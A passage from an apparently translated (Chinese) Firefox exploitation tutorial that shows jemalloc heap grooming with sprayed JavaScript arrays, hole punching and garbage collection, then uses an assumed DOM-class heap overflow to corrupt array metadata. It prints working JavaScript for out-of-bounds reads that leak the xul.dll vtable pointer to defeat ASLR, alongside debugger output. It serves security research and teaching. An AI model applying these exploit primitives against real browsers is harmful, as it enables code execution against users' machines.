1)将我们的ArrayObjects移出nursery ,并将其与metadata一起移动到jemalloc堆上。
2)在jemalloc的run中布置空洞的位置,并触发垃圾回收,以实际通过后续分配使这些空洞的内存可回收。
3)回收空洞的位置(因为jemalloc是LIFO模式)并创建有用的堆排序。
假设我们在特定大小的DOM类中存在堆溢出漏洞,我们可以继续使用我们的方法。 举个例子,这里将使用一个典型的Firefox DOM类,它有一个vtable,可以从JavaScript分配。 使用shadow我们可以查找这样一个DOM类,其对象的大小为256字节:
0:000> !py c:\\tmp\\pykd_driver symbol
[shadow] usage: symbol [-vjdx] <size>
[shadow] options:
[shadow] -v only class symbols with vtable
[shadow] -j only symbols from SpiderMonkey
[shadow] -d only DOM symbols
[shadow] -x only non-SpiderMonkey symbols
0:000> !py c:\\tmp\\pykd_driver symbol -dv 256
[shadow] searching for DOM class symbols of size 256 with vtable
...
[shadow] 0x100 (256) class mozilla::dom::SVGImageElement (vtable: yes)
在用ArrayObjects喷涂jemalloc堆之后,我们交错释放掉ArrayObjects,来创建内存中的空洞的位置。 然后触发垃圾回收以使这些空洞的位置被回收。
for(var i = 0; i < spray_size; i += 2)
{
delete(container[i]);
container[i] = null;
container[i] = undefined;
}
var gc_ret = trigger_gc();
我们用上面示例易受攻击对象填充这些空洞的位置,即mozilla :: dom :: SVGImageElement。 我们的假设是在这个类的某个方法中我们有一个受控(或半控制)的堆溢出。 我们可以在每个对象实例化之后,或者在某个特定对象分配空间之后触发它。
for(var i = 0; i < spray_size; i += 2)
{
// SVGImageElement is a 0x100-sized object
container[i] = \
document.createElementNS("http://www.w3.org/2000/svg", "image");
// trigger the overflow bug here in all allocations, e.g.:
// container[i].some_vulnerable_method();
}
// or, trigger the overflow bug here in a specific one, e.g.:
// container[1666].some_vulnerable_method();
使用shadow,搜索ArrayObjects堆喷的内容,并确保我们的堆在内存中布置成功; 也就是说,我们在jemalloc堆上一个接一个地连接了ArrayObjects和SVGImageElement对象。 jerun命令输出被请求的run 的 regions 的部分; 它们的索引,无论是否分配(使用),地址和内容的4字节:
0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000
[shadow] searching for run 0x15b11000
[shadow] [run 0x15b11000] [size 016384] [bin 0x00600608]
[region size 0256] [total regions 0063] [free regions 0000]
[shadow] [region 000] [used] [0x15b11100] [0x0]
[shadow] [region 001] [used] [0x15b11200] [0x69e0cf70]
[shadow] [region 002] [used] [0x15b11300] [0x0]
[shadow] [region 003] [used] [0x15b11400] [0x69e0cf70]
上面我们可以看到 0x15b11100 处是run 的第一个 region ,它被分配,并且它的前4个字节为零,对应于ArrayObject的标志。 0x15b11200 的region处有一个0x69e0cf70的第一个双字节,它是SVGImageElement的vftable指针。
让我们更详细地研究一下:
0:000> dd 15b11100 l?80
[ Metadata of ArrayObject at region 000 ]
flags initlen capacity length
15b11100 00000000 0000001e 0000001e 0000001e
[ Contents of the ArrayObject ]
15b11110 45464645 ffffff81 47484847 ffffff81
15b11120 45464645 ffffff81 47484847 ffffff81
...
15b111d0 45464645 ffffff81 47484847 ffffff81
15b111e0 45464645 ffffff81 47484847 ffffff81
15b111f0 45464645 ffffff81 47484847 ffffff81
[ SVGImageElement object at region 001 ]
15b11200 69e0cf70 69e0eba0 1a590ea0 00000000
15b11210 11bfc830 00000000 00020008 00000000
15b11220 00000000 00000000 15b11200 00000000
15b11230 00000007 00000000 00090000 00000000
15b11240 69e0d1f4 00000000 00000000 00000000
15b11250 00000000 00000000 69e0bd38 00000000
...
[ The next ArrayObject starts here, region 002]
flags initlen capacity length
15b11300 00000000 0000001e 0000001e 0000001e
15b11310 45464645 ffffff81 47484847 ffffff81
15b11320 45464645 ffffff81 47484847 ffffff81
...
[ The SVGImageElement object at region 003 ]
15b11400 69e0cf70 69e0eba0 1a590ea0 00000000
...
0:000> dds 15b11200
15b11200 69e0cf70 xul!mozilla::dom::SVGImageElement::`vftable'
我们确实以我们想要的方式布置了堆。 下一步是通过假定的SVGImageElement溢出错误搜索 metadata 已损坏的ArrayObject。 以下代码片段假定我们已覆盖所有metadata (16个字节)并使用0x666作为initlen,capacity 和length的新值。
var pwned_index = 0;
for(var i = 0; i < spray_size; i += 2)
{
if(container[i].length > 500)
{
var pwnstr = "[*] corrupted array found at index: " + i;
log(pwnstr);
pwned_index = i;
break;
}
}
我们被破坏的ArrayObject现在允许我们将相应的JavaScript数组索引到其结尾之外,也就是可以溢出,并转换为相邻的SVGImageElement对象。 由于我们已经喷洒了长度为30(0x1e)的数组,因此我们可以将索引为30的类型为double的jsval索引到SVGImageElement对象的前8个字节中(因为索引29是数组的最后一个元素)。
0:000> dd 15b11300 l?80
[ Corrupted metadata of an ArrayObject ]
flags initlen capacity length
15b11300 00000000 00000666 00000666 00000666
[ index 0 ] [ index 1 ]
15b11310 45464645 ffffff81 47484847 ffffff81
[ index 2 ] [ index 3 ]
15b11320 45464645 ffffff81 47484847 ffffff81
...
15b113c0 45464645 ffffff81 47484847 ffffff81
15b113e0 45464645 ffffff81 47484847 ffffff81
[ index 28 ] [ index 29 ]
15b113f0 45464645 ffffff81 47484847 ffffff81
[ index 30 ] [ index 31 ]
15b11400 69e0cf70 69e0eba0 1a590ea0 00000000
15b11410 11bfc830 00000000 00020008 00000000
[ index 35 ]
15b11420 00000000 00000000 15b11400 00000000
15b11430 00000007 00000000 00090000 00000000
...
15b114e0 e4000201 00000000 00000000 e4010301
15b114f0 06000106 00000001 00000000 e5e50000
0:000> g
[*] corrupted array found at index: 31147
我们可以从上面的索引30中读取,但注意,因为我们使用数组来执行此操作,所以将两个32位值视为double jsval(因为对应于该类型的一个32位值) 64位jsval的值小于0xFFFFFF80)。
即是数组有标志值0xffffff81 ,就跟在数组每个数据之后,0xffffff81 是我们通过数组操作无法读取的。
因此,我们需要实现两个辅助函数; 一个将64位值读取为double并将其转换为相应的原始字节(名为double_to_bytes()),另一个将原始字节转换为十六进制表示(名为bytes_to_hex())。 从索引30读取为我们提供了SVGImageElement的vftable指针,我们只需要从xul.dll中减去已知的非ASLRed指针。
var val_hex = \
bytes_to_hex(double_to_bytes(container[pwned_index][30]));
var known_xul_addr = 0x121deba0; // 41.0.1 specific
var leaked_xul_addr = parseInt(val_hex[1], 16);
var aslr_offset = leaked_xul_addr - known_xul_addr;
var xul_base = 0x10000000 + aslr_offset;
var val_str = \
"[*] leaked xul.dll base address: 0x" + xul_base.toString(16);
log(val_str);
在上面地址为 0x15b11428 的SVGImageElement对象中,索引为索引为35的已损坏数组,指针指向对象本身的开头(0x15b11400)。 这些指针存在于大多数Firefox DOM对象,用于垃圾回收。 通过从我们损坏的数组的索引35中泄漏这个地址,我们可以得到jemalloc堆中所有这些对象的位置。 这对于fake 对象非常有用(我们将在下面的部分中进行)。
val_hex = \
bytes_to_hex(double_to_bytes(container[pwned_index][35]));
val_str = "[*] victim SVGImageElement object is at: 0x" + val_hex[0];
log(val_str);
我们